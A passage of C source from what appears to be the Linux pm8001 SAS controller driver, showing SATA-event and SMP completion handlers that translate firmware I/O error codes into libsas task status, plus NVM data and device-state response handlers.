case IO_XFER_ERROR_PHY_NOT_READY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_PHY_NOT_READY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_OPEN_CNX_ERROR_PROTOCOL_NOT_SUPPORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_PROTOCOL_NOT"
"_SUPPORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_EPROTO;
break;
case IO_OPEN_CNX_ERROR_ZONE_VIOLATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_ZONE_VIOLATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_UNKNOWN;
break;
case IO_OPEN_CNX_ERROR_BREAK:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_BREAK\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_CONT0;
break;
case IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DEV_NO_RESPONSE;
if (!t->uldd_task) {
pm8001_handle_event(pm8001_ha,
pm8001_dev,
IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS);
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_QUEUE_FULL;
pm8001_ccb_task_free_done(pm8001_ha, t, ccb, tag);
return;
}
break;
case IO_OPEN_CNX_ERROR_BAD_DESTINATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_BAD_DESTINATION\n"));
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_BAD_DEST;
if (!t->uldd_task) {
pm8001_handle_event(pm8001_ha,
pm8001_dev,
IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS);
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_QUEUE_FULL;
pm8001_ccb_task_free_done(pm8001_ha, t, ccb, tag);
return;
}
break;
case IO_OPEN_CNX_ERROR_CONNECTION_RATE_NOT_SUPPORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_CONNECTION_RATE_"
"NOT_SUPPORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_CONN_RATE;
break;
case IO_OPEN_CNX_ERROR_STP_RESOURCES_BUSY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_STP_RESOURCES"
"_BUSY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DEV_NO_RESPONSE;
if (!t->uldd_task) {
pm8001_handle_event(pm8001_ha,
pm8001_dev,
IO_OPEN_CNX_ERROR_STP_RESOURCES_BUSY);
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_QUEUE_FULL;
pm8001_ccb_task_free_done(pm8001_ha, t, ccb, tag);
return;
}
break;
case IO_OPEN_CNX_ERROR_WRONG_DESTINATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_WRONG_DESTINATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_WRONG_DEST;
break;
case IO_XFER_ERROR_NAK_RECEIVED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_NAK_RECEIVED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_NAK_R_ERR;
break;
case IO_XFER_ERROR_ACK_NAK_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_ACK_NAK_TIMEOUT\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_NAK_R_ERR;
break;
case IO_XFER_ERROR_DMA:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_DMA\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_ABORTED_TASK;
break;
case IO_XFER_ERROR_SATA_LINK_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_SATA_LINK_TIMEOUT\n"));
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_DEV_NO_RESPONSE;
break;
case IO_XFER_ERROR_REJECTED_NCQ_MODE:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_REJECTED_NCQ_MODE\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_UNDERRUN;
break;
case IO_XFER_OPEN_RETRY_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_OPEN_RETRY_TIMEOUT\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_TO;
break;
case IO_PORT_IN_RESET:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_PORT_IN_RESET\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DEV_NO_RESPONSE;
break;
case IO_DS_NON_OPERATIONAL:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_DS_NON_OPERATIONAL\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DEV_NO_RESPONSE;
if (!t->uldd_task) {
pm8001_handle_event(pm8001_ha, pm8001_dev,
IO_DS_NON_OPERATIONAL);
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_QUEUE_FULL;
pm8001_ccb_task_free_done(pm8001_ha, t, ccb, tag);
return;
}
break;
case IO_DS_IN_RECOVERY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk(" IO_DS_IN_RECOVERY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DEV_NO_RESPONSE;
break;
case IO_DS_IN_ERROR:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_DS_IN_ERROR\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DEV_NO_RESPONSE;
if (!t->uldd_task) {
pm8001_handle_event(pm8001_ha, pm8001_dev,
IO_DS_IN_ERROR);
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_QUEUE_FULL;
pm8001_ccb_task_free_done(pm8001_ha, t, ccb, tag);
return;
}
break;
case IO_OPEN_CNX_ERROR_HW_RESOURCE_BUSY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_HW_RESOURCE_BUSY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
default:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("Unknown status 0x%x\n", status));
/* not allowed case. Therefore, return failed status */
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DEV_NO_RESPONSE;
break;
}
spin_lock_irqsave(&t->task_state_lock, flags);
t->task_state_flags &= ~SAS_TASK_STATE_PENDING;
t->task_state_flags &= ~SAS_TASK_AT_INITIATOR;
t->task_state_flags |= SAS_TASK_STATE_DONE;
if (unlikely((t->task_state_flags & SAS_TASK_STATE_ABORTED))) {
spin_unlock_irqrestore(&t->task_state_lock, flags);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("task 0x%p done with io_status 0x%x"
" resp 0x%x stat 0x%x but aborted by upper layer!\n",
t, status, ts->resp, ts->stat));
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
} else {
spin_unlock_irqrestore(&t->task_state_lock, flags);
pm8001_ccb_task_free_done(pm8001_ha, t, ccb, tag);
}
}
/*See the comments for mpi_ssp_completion */
static void mpi_sata_event(struct pm8001_hba_info *pm8001_ha , void *piomb)
{
struct sas_task *t;
struct task_status_struct *ts;
struct pm8001_ccb_info *ccb;
struct pm8001_device *pm8001_dev;
struct sata_event_resp *psataPayload =
(struct sata_event_resp *)(piomb + 4);
u32 event = le32_to_cpu(psataPayload->event);
u32 tag = le32_to_cpu(psataPayload->tag);
u32 port_id = le32_to_cpu(psataPayload->port_id);
u32 dev_id = le32_to_cpu(psataPayload->device_id);
unsigned long flags;
ccb = &pm8001_ha->ccb_info[tag];
if (ccb) {
t = ccb->task;
pm8001_dev = ccb->device;
} else {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("No CCB !!!. returning\n"));
}
if (event)
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SATA EVENT 0x%x\n", event));
/* Check if this is NCQ error */
if (event == IO_XFER_ERROR_ABORTED_NCQ_MODE) {
/* find device using device id */
pm8001_dev = pm8001_find_dev(pm8001_ha, dev_id);
/* send read log extension */
if (pm8001_dev)
pm8001_send_read_log(pm8001_ha, pm8001_dev);
return;
}
ccb = &pm8001_ha->ccb_info[tag];
t = ccb->task;
pm8001_dev = ccb->device;
if (event)
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("sata IO status 0x%x\n", event));
if (unlikely(!t || !t->lldd_task || !t->dev))
return;
ts = &t->task_status;
PM8001_IO_DBG(pm8001_ha, pm8001_printk(
"port_id:0x%x, device_id:0x%x, tag:0x%x, event:0x%x\n",
port_id, dev_id, tag, event));
switch (event) {
case IO_OVERFLOW:
PM8001_IO_DBG(pm8001_ha, pm8001_printk("IO_UNDERFLOW\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_OVERRUN;
ts->residual = 0;
if (pm8001_dev)
pm8001_dev->running_req--;
break;
case IO_XFER_ERROR_BREAK:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_BREAK\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_INTERRUPTED;
break;
case IO_XFER_ERROR_PHY_NOT_READY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_PHY_NOT_READY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_OPEN_CNX_ERROR_PROTOCOL_NOT_SUPPORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_PROTOCOL_NOT"
"_SUPPORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_EPROTO;
break;
case IO_OPEN_CNX_ERROR_ZONE_VIOLATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_ZONE_VIOLATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_UNKNOWN;
break;
case IO_OPEN_CNX_ERROR_BREAK:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_BREAK\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_CONT0;
break;
case IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS\n"));
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_DEV_NO_RESPONSE;
if (!t->uldd_task) {
pm8001_handle_event(pm8001_ha,
pm8001_dev,
IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS);
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_QUEUE_FULL;
pm8001_ccb_task_free_done(pm8001_ha, t, ccb, tag);
return;
}
break;
case IO_OPEN_CNX_ERROR_BAD_DESTINATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_BAD_DESTINATION\n"));
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_BAD_DEST;
break;
case IO_OPEN_CNX_ERROR_CONNECTION_RATE_NOT_SUPPORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_CONNECTION_RATE_"
"NOT_SUPPORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_CONN_RATE;
break;
case IO_OPEN_CNX_ERROR_WRONG_DESTINATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_WRONG_DESTINATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_WRONG_DEST;
break;
case IO_XFER_ERROR_NAK_RECEIVED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_NAK_RECEIVED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_NAK_R_ERR;
break;
case IO_XFER_ERROR_PEER_ABORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_PEER_ABORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_NAK_R_ERR;
break;
case IO_XFER_ERROR_REJECTED_NCQ_MODE:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_REJECTED_NCQ_MODE\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_UNDERRUN;
break;
case IO_XFER_OPEN_RETRY_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_OPEN_RETRY_TIMEOUT\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_TO;
break;
case IO_XFER_ERROR_UNEXPECTED_PHASE:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_UNEXPECTED_PHASE\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_TO;
break;
case IO_XFER_ERROR_XFER_RDY_OVERRUN:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_XFER_RDY_OVERRUN\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_TO;
break;
case IO_XFER_ERROR_XFER_RDY_NOT_EXPECTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_XFER_RDY_NOT_EXPECTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_TO;
break;
case IO_XFER_ERROR_OFFSET_MISMATCH:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_OFFSET_MISMATCH\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_TO;
break;
case IO_XFER_ERROR_XFER_ZERO_DATA_LEN:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_XFER_ZERO_DATA_LEN\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_TO;
break;
case IO_XFER_CMD_FRAME_ISSUED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_CMD_FRAME_ISSUED\n"));
break;
case IO_XFER_PIO_SETUP_ERROR:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_PIO_SETUP_ERROR\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_TO;
break;
default:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("Unknown status 0x%x\n", event));
/* not allowed case. Therefore, return failed status */
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_TO;
break;
}
spin_lock_irqsave(&t->task_state_lock, flags);
t->task_state_flags &= ~SAS_TASK_STATE_PENDING;
t->task_state_flags &= ~SAS_TASK_AT_INITIATOR;
t->task_state_flags |= SAS_TASK_STATE_DONE;
if (unlikely((t->task_state_flags & SAS_TASK_STATE_ABORTED))) {
spin_unlock_irqrestore(&t->task_state_lock, flags);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("task 0x%p done with io_status 0x%x"
" resp 0x%x stat 0x%x but aborted by upper layer!\n",
t, event, ts->resp, ts->stat));
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
} else {
spin_unlock_irqrestore(&t->task_state_lock, flags);
pm8001_ccb_task_free_done(pm8001_ha, t, ccb, tag);
}
}
/*See the comments for mpi_ssp_completion */
static void
mpi_smp_completion(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
u32 param;
struct sas_task *t;
struct pm8001_ccb_info *ccb;
unsigned long flags;
u32 status;
u32 tag;
struct smp_completion_resp *psmpPayload;
struct task_status_struct *ts;
struct pm8001_device *pm8001_dev;
psmpPayload = (struct smp_completion_resp *)(piomb + 4);
status = le32_to_cpu(psmpPayload->status);
tag = le32_to_cpu(psmpPayload->tag);
ccb = &pm8001_ha->ccb_info[tag];
param = le32_to_cpu(psmpPayload->param);
t = ccb->task;
ts = &t->task_status;
pm8001_dev = ccb->device;
if (status)
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("smp IO status 0x%x\n", status));
if (unlikely(!t || !t->lldd_task || !t->dev))
return;
switch (status) {
case IO_SUCCESS:
PM8001_IO_DBG(pm8001_ha, pm8001_printk("IO_SUCCESS\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAM_STAT_GOOD;
if (pm8001_dev)
pm8001_dev->running_req--;
break;
case IO_ABORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_ABORTED IOMB\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_ABORTED_TASK;
if (pm8001_dev)
pm8001_dev->running_req--;
break;
case IO_OVERFLOW:
PM8001_IO_DBG(pm8001_ha, pm8001_printk("IO_UNDERFLOW\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_OVERRUN;
ts->residual = 0;
if (pm8001_dev)
pm8001_dev->running_req--;
break;
case IO_NO_DEVICE:
PM8001_IO_DBG(pm8001_ha, pm8001_printk("IO_NO_DEVICE\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_PHY_DOWN;
break;
case IO_ERROR_HW_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_ERROR_HW_TIMEOUT\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAM_STAT_BUSY;
break;
case IO_XFER_ERROR_BREAK:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_BREAK\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAM_STAT_BUSY;
break;
case IO_XFER_ERROR_PHY_NOT_READY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_PHY_NOT_READY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAM_STAT_BUSY;
break;
case IO_OPEN_CNX_ERROR_PROTOCOL_NOT_SUPPORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_PROTOCOL_NOT_SUPPORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_UNKNOWN;
break;
case IO_OPEN_CNX_ERROR_ZONE_VIOLATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_ZONE_VIOLATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_UNKNOWN;
break;
case IO_OPEN_CNX_ERROR_BREAK:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_BREAK\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_CONT0;
break;
case IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_UNKNOWN;
pm8001_handle_event(pm8001_ha,
pm8001_dev,
IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS);
break;
case IO_OPEN_CNX_ERROR_BAD_DESTINATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_BAD_DESTINATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_BAD_DEST;
break;
case IO_OPEN_CNX_ERROR_CONNECTION_RATE_NOT_SUPPORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_CONNECTION_RATE_"
"NOT_SUPPORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_CONN_RATE;
break;
case IO_OPEN_CNX_ERROR_WRONG_DESTINATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_WRONG_DESTINATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_WRONG_DEST;
break;
case IO_XFER_ERROR_RX_FRAME:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_RX_FRAME\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DEV_NO_RESPONSE;
break;
case IO_XFER_OPEN_RETRY_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_OPEN_RETRY_TIMEOUT\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_ERROR_INTERNAL_SMP_RESOURCE:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_ERROR_INTERNAL_SMP_RESOURCE\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_QUEUE_FULL;
break;
case IO_PORT_IN_RESET:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_PORT_IN_RESET\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_DS_NON_OPERATIONAL:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_DS_NON_OPERATIONAL\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DEV_NO_RESPONSE;
break;
case IO_DS_IN_RECOVERY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_DS_IN_RECOVERY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_OPEN_CNX_ERROR_HW_RESOURCE_BUSY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_HW_RESOURCE_BUSY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
default:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("Unknown status 0x%x\n", status));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DEV_NO_RESPONSE;
/* not allowed case. Therefore, return failed status */
break;
}
spin_lock_irqsave(&t->task_state_lock, flags);
t->task_state_flags &= ~SAS_TASK_STATE_PENDING;
t->task_state_flags &= ~SAS_TASK_AT_INITIATOR;
t->task_state_flags |= SAS_TASK_STATE_DONE;
if (unlikely((t->task_state_flags & SAS_TASK_STATE_ABORTED))) {
spin_unlock_irqrestore(&t->task_state_lock, flags);
PM8001_FAIL_DBG(pm8001_ha, pm8001_printk("task 0x%p done with"
" io_status 0x%x resp 0x%x "
"stat 0x%x but aborted by upper layer!\n",
t, status, ts->resp, ts->stat));
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
} else {
spin_unlock_irqrestore(&t->task_state_lock, flags);
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
mb();/* in order to force CPU ordering */
t->task_done(t);
}
}
void pm8001_mpi_set_dev_state_resp(struct pm8001_hba_info *pm8001_ha,
void *piomb)
{
struct set_dev_state_resp *pPayload =
(struct set_dev_state_resp *)(piomb + 4);
u32 tag = le32_to_cpu(pPayload->tag);
struct pm8001_ccb_info *ccb = &pm8001_ha->ccb_info[tag];
struct pm8001_device *pm8001_dev = ccb->device;
u32 status = le32_to_cpu(pPayload->status);
u32 device_id = le32_to_cpu(pPayload->device_id);
u8 pds = le32_to_cpu(pPayload->pds_nds) & PDS_BITS;
u8 nds = le32_to_cpu(pPayload->pds_nds) & NDS_BITS;
PM8001_MSG_DBG(pm8001_ha, pm8001_printk("Set device id = 0x%x state "
"from 0x%x to 0x%x status = 0x%x!\n",
device_id, pds, nds, status));
complete(pm8001_dev->setds_completion);
ccb->task = NULL;
ccb->ccb_tag = 0xFFFFFFFF;
pm8001_tag_free(pm8001_ha, tag);
}
void pm8001_mpi_set_nvmd_resp(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
struct get_nvm_data_resp *pPayload =
(struct get_nvm_data_resp *)(piomb + 4);
u32 tag = le32_to_cpu(pPayload->tag);
struct pm8001_ccb_info *ccb = &pm8001_ha->ccb_info[tag];
u32 dlen_status = le32_to_cpu(pPayload->dlen_status);
complete(pm8001_ha->nvmd_completion);
PM8001_MSG_DBG(pm8001_ha, pm8001_printk("Set nvm data complete!\n"));
if ((dlen_status & NVMD_STAT) != 0) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Set nvm data error!\n"));
return;
}
ccb->task = NULL;
ccb->ccb_tag = 0xFFFFFFFF;
pm8001_tag_free(pm8001_ha, tag);
}
void
pm8001_mpi_get_nvmd_resp(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
struct fw_control_ex *fw_control_context;
struct get_nvm_data_resp *pPayload =
(struct get_nvm_data_resp *)(piomb + 4);
u32 tag = le32_to_cpu(pPayload->tag);
struct pm8001_ccb_info *ccb = &pm8001_ha->ccb_info[tag];
u32 dlen_status = le32_to_cpu(pPayload->dlen_status);
u32 ir_tds_bn_dps_das_nvm =
le32_to_cpu(pPayload->ir_tda_bn_dps_das_nvm);
void *virt_addr = pm8001_ha->memoryMap.region[NVMD].virt_ptr;
fw_control_context = ccb->fw_control_context;
PM8001_MSG_DBG(pm8001_ha, pm8001_printk("Get nvm data complete!\n"));
if ((dlen_status & NVMD_STAT) != 0) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Get nvm data error!\n"));
complete(pm8001_ha->nvmd_completion);
return;
}
if (ir_tds_bn_dps_das_nvm & IPMode) {
/* indirect mode - IR bit set */
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("Get NVMD success, IR=1\n"));
if ((ir_tds_bn_dps_das_nvm & NVMD_TYPE) == TWI_DEVICE) {
if (ir_tds_bn_dps_das_nvm == 0x80a80200) {
memcpy(pm8001_ha->sas_addr,
((u8 *)virt_addr + 4),
SAS_ADDR_SIZE);
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("Get SAS address"
" from VPD successfully!\n"));
}
} else if (((ir_tds_bn_dps_das_nvm & NVMD_TYPE) == C_SEEPROM)
|| ((ir_tds_bn_dps_das_nvm & NVMD_TYPE) == VPD_FLASH) ||
((ir_tds_bn_dps_das_nvm & NVMD_TYPE) == EXPAN_ROM)) {
;
} else if (((ir_tds_bn_dps_das_nvm & NVMD_TYPE) == AAP1_RDUMP)
|| ((ir_tds_bn_dps_das_nvm & NVMD_TYPE) == IOP_RDUMP)) {
;
} else {
/* Should not be happened*/
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("(IR=1)Wrong Device type 0x%x\n",
ir_tds_bn_dps_das_nvm));
}
} else /* direct mode */{
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("Get NVMD success, IR=0, dataLen=%d\n",
(dlen_status & NVMD_LEN) >> 24));
}
/* Though fw_control_context is freed below, usrAddr still needs
* to be updated as this holds the response to the request function
*/
memcpy(fw_control_context->usrAddr,
pm8001_ha->memoryMap.region[NVMD].virt_ptr,
fw_control_context->len);
kfree(ccb->fw_control_context);
ccb->task = NULL;
ccb->ccb_tag = 0xFFFFFFFF;
pm8001_tag_free(pm8001_ha, tag);
complete(pm8001_ha->nvmd_completion);
}
int pm8001_mpi_local_phy_ctl(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
struct local_phy_ctl_resp *pPayload =
(struct local_phy_ctl_resp *)(piomb + 4);
u32 status = le32_to_cpu(pPayload->status);
u32 phy_id = le32_to_cpu(pPayload->phyop_phyid) & ID_BITS;
u32 phy_op = le32_to_cpu(pPayload->phyop_phyid) & OP_BITS;
if (status != 0) {
PM8001_MSG_DBG(pm8001_ha,
